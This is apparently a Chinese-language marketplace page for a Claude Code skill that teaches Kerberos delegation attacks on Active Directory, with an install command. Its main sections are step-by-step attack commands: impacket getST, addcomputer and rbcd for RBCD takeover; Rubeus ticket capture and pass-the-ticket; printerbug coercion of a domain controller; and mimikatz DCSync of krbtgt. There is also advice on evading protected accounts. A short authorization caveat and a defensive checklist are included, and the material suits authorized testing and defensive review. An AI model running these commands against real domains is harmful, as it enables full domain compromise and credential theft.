mcpField
A
attacking-kerberos-delegation

attacking-kerberos-delegation

github.com/trilwu安全17748 次安装12 周前更新
代码仓库

关于 attacking-kerberos-delegation

面向经授权的 Active Directory 测试人员与防御审查者,解释 Kerberos 委派配置及其滥用风险。内容对比非约束、约束和基于资源的约束委派,并提供枚举与防御检查方法。

主要功能

  1. 01枚举三类 Kerberos 委派
  2. 02解释非约束委派的票据风险
  3. 03分析约束委派与 S4U 路径
  4. 04说明 RBCD 与计算机对象权限
  5. 05提供委派配置防御清单

适用场景

  1. 01检查 BloodHound 标记的委派关系
  2. 02验证计算机对象写权限带来的风险
  3. 03审查特权账户和机器账户配额
  4. 04规划委派滥用的检测审查

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/trilwu/secskills --skill attacking-kerberos-delegation

安装后在 Claude Code 中输入/attacking-kerberos-delegation确认已加载。

详细介绍

Kerberos 委派攻击

委派允许服务向其他服务冒充用户。每种委派形式都是受控地变成其他人的一种方式,而每种形式都存在一种可移除这种控制的错误配置。尤其是 RBCD,它会将一种常见、看似权限不高的权限——对计算机对象的写入权限——变成对该主机的完全控制,这也是委派攻击中最常见的一种。

仅限对你获准测试的域进行测试。

适用场景

  • BloodHound 标记了 Unconstrained、Constrained 或 RBCD 委派
  • 你控制一个带有 SPN 的账户,或对计算机对象拥有 GenericWrite/GenericAll 权限
  • 你可以创建计算机账户(默认 MachineAccountQuota 为 10)
  • 你控制一台配置了委派的主机
  • 防御性审查委派配置

不适用场景

  • 滥用证书服务 — 使用 abusing-adcs
  • Kerberoasting、DCSync、常规 AD — 使用 attacking-active-directory
  • Entra ID — 使用 attacking-entra-id
  • 检测 — 使用 engineering-detections;TGS/S4U 模式和计算机账户创建(4741)是相关遥测

枚举三种类型

# Constrained + unconstrained in one pass
findDelegation.py domain.local/user:pass -dc-ip 10.0.0.10        # impacket
# PowerView
Get-DomainComputer -Unconstrained | select name
Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto
Get-DomainUser -TrustedToAuth
# RBCD is a per-object attribute; BloodHound's edges are the practical way to find it

你面对的是哪种类型,决定了所有后续操作:

类型标记信任方向
无约束账户上有 TRUSTED_FOR_DELEGATION主机可以冒充任何向其进行身份验证的人
约束已填充 msDS-AllowedToDelegateTo主机可以冒充任何人,但只能冒充到列出的服务
RBCD目标上有 msDS-AllowedToActOnBehalfOfOtherIdentity目标指定了谁可以冒充身份访问它

无约束委派

启用了无约束委派的主机会缓存任何向其进行身份验证的人的 TGT。先攻陷该主机,再诱使高价值账户(理想情况下是域控制器)进行身份验证,然后捕获其 TGT。

# On the compromised unconstrained host, monitor for incoming TGTs
Rubeus.exe monitor /interval:5 /nowrap
# Coerce a DC to authenticate to you
printerbug.py 'domain/user:[email protected]' attacker-host.domain.local
# or PetitPotam, or the MS-EFSR / MS-RPRN coercion of your choice

# Capture the DC's TGT, then DCSync with it
Rubeus.exe ptt /ticket:<base64 DC TGT>
mimikatz # lsadump::dcsync /user:krbtgt

打印机漏洞(MS-RPRN)和 PetitPotam(MS-EFSR)的存在,正是为了强制目标进行身份验证。诱使域控制器向启用了无约束委派的主机进行身份验证,是直接攻陷域的途径。

约束委派

启用了针对某项服务的约束委派的主机,可以向该服务冒充任何用户——包括域管理员,也包括通过 S4U2Self 后接 S4U2Proxy 将你自己冒充为域管理员。

# You control an account with msDS-AllowedToDelegateTo set to, say, cifs/dc01
getST.py -spn cifs/dc01.domain.local -impersonate administrator \
  'domain.local/svc_account:password' -dc-ip 10.0.0.10
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]

备用服务技巧很重要。 S4U2Proxy 会为你请求的 SPN 返回票据,但服务类没有经过加密绑定——cifs/dc01 的票据可以改写为 host/dc01、ldap/dc01 或 http/dc01,因为目标服务只检查服务器名称。因此,即使委派仅限于 time/dc01 这类“无害”服务,仍可获得 ldap/dc01,进而执行 DCSync。不要因为列出的 SPN 看起来无害,就忽视约束委派。

基于资源的约束委派(RBCD)

这是最常见的委派攻击,因为其前提条件很普遍:对计算机对象的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性拥有写入权限。对目标计算机拥有 GenericWrite、GenericAll、WriteDacl 或 WriteProperty 权限就足够了。

# 1. Create a machine account (default quota allows 10 per user)
addcomputer.py -computer-name 'EVIL$' -computer-pass 'Password123' \
  domain.local/user:pass -dc-ip 10.0.0.10

# 2. Write your new account into the target's RBCD attribute
rbcd.py -delegate-from 'EVIL$' -delegate-to 'TARGET$' -action write \
  domain.local/user:pass -dc-ip 10.0.0.10

# 3. Impersonate any user to the target via S4U
getST.py -spn cifs/target.domain.local -impersonate administrator \
  'domain.local/EVIL$:Password123' -dc-ip 10.0.0.10
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]

这就是为什么 BloodHound 中指向计算机对象的 GenericWrite 边并非低危发现。通过三条命令,就能完全控制这台计算机。报告对计算机对象的写入权限时,应按 RBCD 严重性报告。

如果 MachineAccountQuota 为 0,你就无法创建计算机账户——但任何你控制且带有 SPN 的现有账户都可以作为“来源”身份;如果你能在自己控制的用户账户上设置 SPN(通过对自己或其他用户拥有 GenericWrite),也可以用它来替代。

受保护的账户

无论委派路径如何,有些目标都无法被冒充:

  • 受保护用户的成员无法被委派。
  • 标记为 “账户敏感,无法委派” (NOT_DELEGATED)的账户会被排除。
  • 如果你打算冒充的目标受到保护,请改选另一个未受保护的特权账户——几乎总能找到。

在投入精力前先检查:

Get-DomainUser -AllowDelegation -AdminCount | select name       # delegatable admins

防御审查

  • 哪些账户启用了不受约束的委派?其中哪些确实需要?(DC 需要;其他情况应当很少。)
  • 特权账户是否位于受保护用户中,并标记为 NOT_DELEGATED?
  • 是否已将 MachineAccountQuota 降至 0?
  • 谁对计算机对象拥有写入权限,尤其是服务器和 DC?
  • 是否审计了对域控制器上服务类的委派?
  • 是否监控 S4U2Self/S4U2Proxy 模式?

应当驳回的说辞

  • “委派的只是无害服务。” 服务类可以被改写。time/dc01 会变成 ldap/dc01。
  • “这只是对计算机拥有 GenericWrite,严重性不高。” 这就是 RBCD,足以完全接管主机。
  • “我们无法创建计算机账户,配额是 0。” 任何你控制的、带有 SPN 的账户都可以替代。
  • “不受约束的委派是在成员服务器上启用的,不是在 DC 上。” 诱使 DC 向其进行身份验证即可。服务器的信任级别无关紧要。
  • “冒充目标是域管理员,肯定受到保护。” 先检查。大多数管理员不在受保护用户中。
  • “BloodHound 没有画出这条边。” 委派属性需要使用最新数据进行收集;旧数据会完全漏掉 RBCD。

ATT&CK 覆盖范围

根据 secskills-core/ttp-index.json 生成——编辑该文件,然后运行 python3 scripts/sync_attack.py --write。在报告中引用 ID 前,请根据 当前 ATT&CK 版本重新核实。

凭据访问(TA0006)

  • T1558 窃取或伪造 Kerberos 票证 — 另请参阅 attacking-active-directory

与上述任一项相关的检测内容:engineering-detections。主动搜寻:hunting-threats。失陷后响应:responding-to-incidents。

参考资料

  • attacking-active-directory — DCSync 以及由此延伸的更广泛域攻击路径
  • abusing-adcs — 另一个高收益提权类别;常与此结合
  • engineering-detections — S4U 和计算机账户创建遥测
  • reporting-security-findings — 写入原语发现的严重性
  • impacket(getST、rbcd、addcomputer、findDelegation)、Rubeus、PowerView、BloodHound

评论

支持 Markdown